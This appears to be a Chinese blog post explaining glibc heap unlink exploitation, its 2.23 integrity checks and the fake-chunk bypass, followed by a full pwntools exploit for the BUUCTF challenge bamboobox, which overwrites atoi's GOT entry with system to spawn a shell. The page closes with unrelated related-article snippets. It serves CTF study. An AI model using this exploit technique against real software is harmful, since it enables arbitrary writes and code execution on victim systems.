当前位置: 首页 > news >正文

关于wiki的Unlink攻击理解--附例题BUUCTF-hitcontraining_bamboobox1

堆机制我研究了很久,一直没有什么很大的进展。堆相较于栈难度大的多。利用手法也多。目前还没有怎么做过堆题。这次就把理解了很久的Unlink写一写。然后找一题实践一下。

在glibc中,堆管理都是用一个个chunk去组织的。这个就不过多阐述。Unlink是glibc一段宏操作。目的是将一个空闲chunk从双向链表组织的bins中摘下,做后续的操作。Unlink攻击其实是为了欺骗堆管理器造成任意地址可读可写。wiki的描述其实挺好,我这里把这个32位的没有检测的攻击原理详细描述一次,以便后续理解64位中加入检测的绕过攻击手段。首先我们要理解Unlink到底干什么。


这是Unlink的源码,不管检测我们只看大概操作,wiki的图总结的很好:


其实就是所谓的断链操作,让P的前一个chunk指向后一个chunk,然后P的后一个chunk指回P的前一个chunk。这个理解后我们现在可以写一段程序:

#include<stdio.h>
#include<stdlib.h>int main()
{
void *chunk1_ptr=(void*)malloc(0x80);
void *chunk2_ptr=(void*)malloc(0x80);void * chunk3_ptr;
void * c=(void*)malloc(0x20); //防止top chunk 合并free(chunk2_ptr);gets("%s",&chunk1_ptr);  //有UAF才行 直接执行会发生段错误 只作为演示free(chunk1_ptr);return 0;
}

这段代码只是为了解释这个效果,并不能直接运行。一开始创建2个堆,大小是0x80,在创建一个小堆防止合并。紧接着我们把chunk2释放掉。这个时候,chunk2会进入到small bins中。我们知道在small bins中,chunk的管理是双向链表。因此Unlink是会发生在这里的。 画图演示这个过程:


我们假设程序通过溢出或者UAF修改了chunk2的fd和bk,我这里让chunk2的fd指向free的got表地址,bk指向一段内存中我们可读可写可执行的地方(也就是能布置shellcode的)。紧接着我们把chunk1也释放掉。这个时候,glibc会做如下几步的操作:

  • glibc 判断这个块是 small chunk
  • 判断前向合并,发现前一个 chunk 处于使用状态,不需要前向合并
  • 判断后向合并,发现后一个 chunk 处于空闲状态,需要合并
  • 继而对 Nextchunk 采取 unlink 操作

 它检测到chunk2是一个空闲块。但是此时chunk2在small bins里。想要合并就得先拿下来。这就会执行Unlink执行拿下来的操作,然后再做合并。进入到Unlink步骤我们看看会发生什么:

  • FD=P->fd = free@got-12
  • BK=P->bk = shellcode地址
  • FD->bk = BK,FD指向BK
  • BK->fd = FD,BK指向FD

前两步的图如下:


后两步的图如下:


此时我们的布局就完成了。那么它为何能起到任意地址读写呢。我们知道P的fd和bk都是我们自己构造的。就像上图,我想在free的got表里写入我们自己的shellcode地址,那么我们只需要将想要写入的地址-12填入fd,就能通过伪造的chunk找到。接下来,我们再把这块内存申请出来,因为在 small bin 中,glibc 采用了一种先进先出(First In First Out,FIFO)的策略。也就是说,当你再次申请内存时,glibc 会从 bin 的头部摘取第一个可用的 chunk。这是因为 small bin 维护了一个循环链表,新的 chunk 会被插入到链表的尾部,而分配时则从链表的头部开始查找可用的 chunk。因此当我们再次malloc同样大小的chunk的时候,它将会把BK给我们申请出来,申请出来的内存空间,我们就能随意改写了。当我们再次调用free函数的时候,将会去执行我们的shellcode。


上述是我们没有考虑glibc的一些保护机制,从而能达到这种攻击方式。但是在2.23版本的glibc中,是有对unlink的正确性做检查的。

// fd bk
if (__builtin_expect (FD->bk != P || BK->fd != P, 0))                      \malloc_printerr (check_action, "corrupted double-linked list", P, AV);  \

这种情况下,会检验FD->bk以及BK->fd是否指向的是同一个。意味着如果篡改了,glibc将不会完成后续的Unlink操作。不仅对这个有检验,还对chunk_size有所检验:

    // 由于P已经在双向链表中,所以有两个地方记录其大小,所以检查一下其大小是否一致。if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0))      \malloc_printerr ("corrupted size vs. prev_size");               \

因此在2.23中,想要绕过这两个检验,我们需要伪造chunk,也就是俗称的fake_chunk。 并且我们需要在构造的时候,P的fd和bk的指向要构造的像那么回事,才能绕过检测。那么怎么构造呢。假设有一个指向P这个chunk的地址叫addr1。那么当我们构造P这个chunk的时候:

                                                       fd=&addr1-0x18

                                                      bk=&addr1-0x10

在检验的时候就会绕过检测。我们画图理解这个过程:


这个时候,如果P_chunk发生unlink将会变成如下形式: 这样我们就能绕过验证,网上有师傅总结这个公式是怎么算出来的。我也忘了,有兴趣的可以查下。接着执行后续步骤,后续步骤执行完,我们能得到一个很神奇的东西:


形成这样的效果后,如果我们往里面填入一个got表的地址,假设是free的got表。我们看看会发生什么,当我们能往这个地址写入数据的时候,他将能指向任意地址并写入:


这就是整个unlink的攻击效果。下面我们拿一题来练练手熟悉下这个过程。选题为BUUCTF上的

hitcontraining_bamboobox1。简单查看下保护:没有PIE(运用unlink一般不能开PIE),大概测试了下,是个增删改查的小程序:


IDA中查看了下逻辑:





程序存在堆溢出漏洞。我们可以通过溢出覆盖下一个chunk,构造fake_chunk并进行unlink。构造如下:

 payload = p64(0) + p64(0x81) + p64(bss - 3 * 8) + p64(bss - 2 * 8) + b'a' * (0x80 - 0x20)

payload += p64(0x80) + p64(0x90) 

这样构造的目的是改写下一个chunk的标志位,触发fake_chunk能够进行unlink操作,并且在第二个chunk的数据域构造一个伪chunk。bss是我们存放堆地址的空间:


接着我们释放fake_chunk,进行unlink操作后,每当我们向chunk0写东西时,他将写入的东西传给了&bss-0x18的位置。由于程序中每次到用到atoi函数,因此我们的想法是改atoi函数的got表,让他指向system函数。因此我们泄露atoi函数地址后,再通过写入&bss-0x18进行改写,完整WP如下这是别的师傅写的我觉得比较好,注释也比较详细,便于理解:

# -*- coding: utf-8 -*-from pwn import *#sh = remote("node4.buuoj.cn", 28735)
sh = process('./bamboobox')  # linux本地运行
context.log_level = 'debug'  # 开启debug模式
elf = ELF('./bamboobox')  # 把elf文件放到代码目录下
libc = ELF('./libc-2.23.so')  # 把libc的so文件放到目录下# 首先是写函数来模拟增删改查四种api,之后只能用这四个函数与程序进行交互
def show_item():sh.sendlineafter(b"Your choice:", b"1")def add_item(length, name):sh.sendlineafter(b"Your choice:", b"2")sh.sendlineafter(b"Please enter the length of item name:", str(length).encode())sh.sendlineafter(b"Please enter the name of item:", name.encode())def change_item(index, length, name):sh.sendlineafter(b"Your choice:", b"3")sh.sendlineafter(b"Please enter the index of item:", str(index).encode())sh.sendlineafter(b"Please enter the length of item name:", str(length).encode())sh.sendlineafter(b"Please enter the new name of the item:", name)def remove_item(index):sh.sendlineafter(b"Your choice:", b"4")sh.sendlineafter(b"Please enter the index of item:", str(index).encode())if __name__ == "__main__":bss = 0x6020c8  # bss节基址,change_item根据bss[0]来找修改的目标内存#gdb.attach(sh)add_item(0x80, "fake_chunk")  # 申请一块0x80B的内存构造fake_chunkadd_item(0x80, "f")  # chunk_fadd_item(0x10, "other")# 构造fake_chunk[prev_size, size, fd, bk, data]payload = p64(0) + p64(0x81) + p64(bss - 3 * 8) + p64(bss - 2 * 8) + b'a' * (0x80 - 0x20)# 覆盖f的prev_size和sizepayload += p64(0x80) + p64(0x90)change_item(index=0, length=len(payload), name=payload)  # 利用change的堆溢出漏洞将payload写入堆中remove_item(index=1)  # free(f),之后bss[0]=bss-3*8。这样一来只要向chunk0写数据就等于向bss-3*8处写数据# 读取atoi()在got表中的地址atoi@got,写入到bss[0]处atoi_got = elf.got['atoi']payload = p64(0) * 3 + p64(atoi_got)change_item(0, len(payload), payload)# show泄露atoi()地址,打印出来show_item()sh.recvuntil(b"0 : ")atoi_addr = u64(sh.recv(6).ljust(8, b"\x00"))  # 接收6个字节。填充成8字节,转为64位整数success("atoi_addr:%x" % atoi_addr)libc_base = atoi_addr - libc.sym["atoi"]  # 计算出libc的基址=atoi在内存中的地址-atoi相对libc的地址success("libc_base:%x" % libc_base)# 由于此时bss[0]=atoi在got中的地址,所以程序会认为此处是chunk,写入system的地址。从而将GOT表中原来atoi地址的位置覆盖成system函数的内存地址change_item(0, 8, p64(libc_base + libc.sym["system"]))# 发送"/bin/sh",程序会将其传给之前atoi位置的system函数,执行shellsh.sendlineafter(b"Your choice:", b"/bin/sh")sh.interactive()

例题的讲解讲的不是很好,写了太久脑袋有点混沌了。抽空我再完善下wp部分。有师傅打这题用的house_of_orange,有兴趣的可以参看。

参考链接:https://www.cnblogs.com/nemuzuki/p/17293352.html

相关文章:

关于wiki的Unlink攻击理解--附例题BUUCTF-hitcontraining_bamboobox1

堆机制我研究了很久&#xff0c;一直没有什么很大的进展。堆相较于栈难度大的多。利用手法也多。目前还没有怎么做过堆题。这次就把理解了很久的Unlink写一写。然后找一题实践一下。 在glibc中&#xff0c;堆管理都是用一个个chunk去组织的。这个就不过多阐述。Unlink是glibc一…...

【linux】日志有哪些

Linux系统日志主要有以下几种类型&#xff1a; 内核及系统日志&#xff1a;这种日志数据由系统服务rsyslog统一管理&#xff0c;根据其主配置文件/etc/rsyslog.conf中设置决定内核消息及各种系统程序消息记录到什么位置。/var/log/message&#xff1a;该日志文件存放了内核消息…...

Redis主从复制实现RCE

文章目录 前置知识概念redis常用命令redis module 利用条件利用工具思路例题 [网鼎杯 2020 玄武组]SSRFMe总结 前置知识 概念 背景是多台服务器要保存同一份数据&#xff0c;如何实现其一致性呢&#xff1f;数据的读写操作是否每台服务器都可以处理&#xff1f;这里Redis就提供…...

Flutter应用程序的加固原理

在移动应用开发中&#xff0c;Flutter已经成为一种非常流行的技术选项&#xff0c;可以同时在Android和iOS平台上构建高性能、高质量的移动应用程序。但是&#xff0c;由于其跨平台特性&#xff0c;Flutter应用程序也面临着一些安全风险&#xff0c;例如反编译、代码泄露、数据…...

Centos7部署NFS

搭建NFS存储服务器--基于CentOS7系统 - jianmuzi - 博客园 在CentOS中搭建NFS - 陌上荼靡 - 博客园 NFS简介 NFS 是 Network FileSystem 的缩写&#xff0c;顾名思义就是网络文件存储系统&#xff0c;它最早是由 Sun 公司发展出来的&#xff0c;也是 FreeBSD 支持的文件系统…...

我已经开了一个融资融券的账户了,还可以再在别的券商开两融(信用账户)吗?

融资融券交易又称“证券信用交易”或保证金交易&#xff0c;是指投资者向具有融资融券业务资格的证券公司提供担保物&#xff0c;借入资金买入证券&#xff08;融资交易&#xff09;或借入证券并卖出&#xff08;融券交易&#xff09;的行为。 简单说就是融资做多&#xff0c;…...

Spring Cloud 版本升级记:OpenFeignClient与Gateway的爱恨交织

Spring Cloud 版本升级记&#xff1a;OpenFeignClient与Gateway的爱恨交织 近日&#xff0c;在负责的项目中&#xff0c;我对 Spring Boot、Spring Cloud 以及 Spring Cloud Alibaba 进行了版本升级。原以为会一切顺利&#xff0c;没想到却遭遇了 Spring Cloud Gateway 无法正…...

华为OD机试 - 最多购买宝石数目(Java JS Python C)

题目描述 橱窗里有一排宝石,不同的宝石对应不同的价格,宝石的价格标记为 gems[i] 0 ≤ i < nn = gems.length宝石可同时出售0个或多个,如果同时出售多个,则要求出售的宝石编号连续; 例如客户最大购买宝石个数为m,购买的宝石编号必须为:gems[i],gems[i+1],...,ge…...

【LeetCode】挑战100天 Day17(热题+面试经典150题)

【LeetCode】挑战100天 Day17&#xff08;热题面试经典150题&#xff09; 一、LeetCode介绍二、LeetCode 热题 HOT 100-192.1 题目2.2 题解 三、面试经典 150 题-193.1 题目3.2 题解 一、LeetCode介绍 LeetCode是一个在线编程网站&#xff0c;提供各种算法和数据结构的题目&…...

正则表达式的基本语法

1.正则表达式基本语法 两个特殊的符号^和$。他们的作用是分别指出一个字符串的开始和结束。例子如下&#xff1a; "^The"&#xff1a;表示所有以"The"开始的字符串&#xff08;"There"&#xff0c;"The cat"等&#xff09;&#xff1…...

使用visual Studio MFC 平台实现对灰度图添加椒盐噪声,并进行均值滤波与中值滤波

平滑处理–滤波 本文使用visual Studio MFC 平台实现对灰度图添加椒盐噪声&#xff0c;并进行均值滤波与中值滤波 关于其他MFC单文档工程可参考 01-Visual Studio 使用MFC 单文档工程绘制单一颜色直线和绘制渐变颜色的直线 02-visual Studio MFC 绘制单一颜色三角形、渐变颜色边…...

Django HMAC 请求签名校验与 Vue.js 实现安全通信

概要 在 Web 应用的开发过程中&#xff0c;确保数据传输的安全性和完整性是一个不容忽视的问题。使用 HMAC&#xff08;Hash-based Message Authentication Code&#xff09;算法对请求内容进行签名校验&#xff0c;是一种常见且有效的安全策略。本文将详细介绍如何在 Django …...

深度学习之循环神经网络

视频链接&#xff1a;6 循环神经网络_哔哩哔哩_bilibili 给神经网络增加记忆能力 对全连接层而言&#xff0c;输入输出的维数固定&#xff0c;因此无法处理序列信息 对卷积层而言&#xff0c;因为卷积核的参数是共享的&#xff0c;所以卷积操作与序列的长度无关。但是因为卷积…...

与原有视频会议系统对接

要实现与原有视频会议系统对接&#xff0c;需要确保通信协议的一致性。连通宝视频会议系统可与第三方视频会议系统对接。实现与第三方会议系统对接还可以使用会议室连接器&#xff0c;可以确保不同系统之间的数据传输和交互。 具体对接流程可能因不同品牌和类型的视频会议系统而…...

C# Serilog--可记录异常完整路径

1.Serilog安装 2.控制台代码 --设置日志记录器的最小级别为 Debug&#xff0c;即只记录 Debug 级别及以上的日志信息 --.WriteTo.File("logs\\log.txt", rollingInterval: RollingInterval.Day)&#xff1a;将日志信息写入到指定路径的文件中&#xff08;这里的路径…...

鉴源实验室 | 汽车网络安全攻击实例解析(三)

作者 | 张璇 上海控安可信软件创新研究院工控网络安全组 来源 | 鉴源实验室 社群 | 添加微信号“TICPShanghai”加入“上海控安51fusa安全社区” 引言&#xff1a;随着现代汽车技术的迅速发展&#xff0c;车辆的进入和启动方式经历了显著的演变。传统的物理钥匙逐渐被无钥匙进…...

php 中生成订单号

字母日期。。。。。。。 function setOrderNo($year 2011) {$yCode array(A, B, C, D, E, F, G, H, I, J, K, L, M, N, O, P, Q, R, S, T, U, V, W, X, Y, Z);$orderSn $yCode[intval(date(Y)) - $year] . strtoupper(dechex(date(m))) . date(d) . substr(time(), -5) . s…...

Jmeter工具+ant+jenkins实现持续集成

jmeterantjenkins持续集成 一、下载并配置jmeter 首先下载jmeter工具&#xff0c;并配置好环境变量&#xff1b;参考&#xff1a; jmeter默认保存的是.jtl格式的文件&#xff0c;要设置一下bin/jmeter.properties,文件内容&#xff0c;保存jmeter.save.saveservice.output_f…...

基于SSM的经典电影推荐网站设计与实现

末尾获取源码 开发语言&#xff1a;Java Java开发工具&#xff1a;JDK1.8 后端框架&#xff1a;SSM 前端&#xff1a;Vue 数据库&#xff1a;MySQL5.7和Navicat管理工具结合 服务器&#xff1a;Tomcat8.5 开发软件&#xff1a;IDEA / Eclipse 是否Maven项目&#xff1a;是 目录…...

JavaScript中使用JSON的基本操作示例

简介 JSON&#xff08;JavaScript Object Notation&#xff09;是一种数据交换格式&#xff0c;也是JavaScript中处理数据的常见方式之一。JSON是一种轻量级的数据交换格式&#xff0c;易于阅读和编写&#xff0c;同时也易于解析和生成。在JavaScript中&#xff0c;可以使用内…...

8k长序列建模,蛋白质语言模型Prot42仅利用目标蛋白序列即可生成高亲和力结合剂

蛋白质结合剂&#xff08;如抗体、抑制肽&#xff09;在疾病诊断、成像分析及靶向药物递送等关键场景中发挥着不可替代的作用。传统上&#xff0c;高特异性蛋白质结合剂的开发高度依赖噬菌体展示、定向进化等实验技术&#xff0c;但这类方法普遍面临资源消耗巨大、研发周期冗长…...

mongodb源码分析session执行handleRequest命令find过程

mongo/transport/service_state_machine.cpp已经分析startSession创建ASIOSession过程&#xff0c;并且验证connection是否超过限制ASIOSession和connection是循环接受客户端命令&#xff0c;把数据流转换成Message&#xff0c;状态转变流程是&#xff1a;State::Created 》 St…...

vscode(仍待补充)

写于2025 6.9 主包将加入vscode这个更权威的圈子 vscode的基本使用 侧边栏 vscode还能连接ssh&#xff1f; debug时使用的launch文件 1.task.json {"tasks": [{"type": "cppbuild","label": "C/C: gcc.exe 生成活动文件"…...

Linux相关概念和易错知识点(42)(TCP的连接管理、可靠性、面临复杂网络的处理)

目录 1.TCP的连接管理机制&#xff08;1&#xff09;三次握手①握手过程②对握手过程的理解 &#xff08;2&#xff09;四次挥手&#xff08;3&#xff09;握手和挥手的触发&#xff08;4&#xff09;状态切换①挥手过程中状态的切换②握手过程中状态的切换 2.TCP的可靠性&…...

Python爬虫(一):爬虫伪装

一、网站防爬机制概述 在当今互联网环境中&#xff0c;具有一定规模或盈利性质的网站几乎都实施了各种防爬措施。这些措施主要分为两大类&#xff1a; 身份验证机制&#xff1a;直接将未经授权的爬虫阻挡在外反爬技术体系&#xff1a;通过各种技术手段增加爬虫获取数据的难度…...

AI编程--插件对比分析:CodeRider、GitHub Copilot及其他

AI编程插件对比分析&#xff1a;CodeRider、GitHub Copilot及其他 随着人工智能技术的快速发展&#xff0c;AI编程插件已成为提升开发者生产力的重要工具。CodeRider和GitHub Copilot作为市场上的领先者&#xff0c;分别以其独特的特性和生态系统吸引了大量开发者。本文将从功…...

Caliper 配置文件解析:config.yaml

Caliper 是一个区块链性能基准测试工具,用于评估不同区块链平台的性能。下面我将详细解释你提供的 fisco-bcos.json 文件结构,并说明它与 config.yaml 文件的关系。 fisco-bcos.json 文件解析 这个文件是针对 FISCO-BCOS 区块链网络的 Caliper 配置文件,主要包含以下几个部…...

Java面试专项一-准备篇

一、企业简历筛选规则 一般企业的简历筛选流程&#xff1a;首先由HR先筛选一部分简历后&#xff0c;在将简历给到对应的项目负责人后再进行下一步的操作。 HR如何筛选简历 例如&#xff1a;Boss直聘&#xff08;招聘方平台&#xff09; 直接按照条件进行筛选 例如&#xff1a…...

selenium学习实战【Python爬虫】

selenium学习实战【Python爬虫】 文章目录 selenium学习实战【Python爬虫】一、声明二、学习目标三、安装依赖3.1 安装selenium库3.2 安装浏览器驱动3.2.1 查看Edge版本3.2.2 驱动安装 四、代码讲解4.1 配置浏览器4.2 加载更多4.3 寻找内容4.4 完整代码 五、报告文件爬取5.1 提…...

android13 app的触摸问题定位分析流程

一、知识点 一般来说,触摸问题都是app层面出问题,我们可以在ViewRootImpl.java添加log的方式定位;如果是touchableRegion的计算问题,就会相对比较麻烦了,需要通过adb shell dumpsys input > input.log指令,且通过打印堆栈的方式,逐步定位问题,并找到修改方案。 问题…...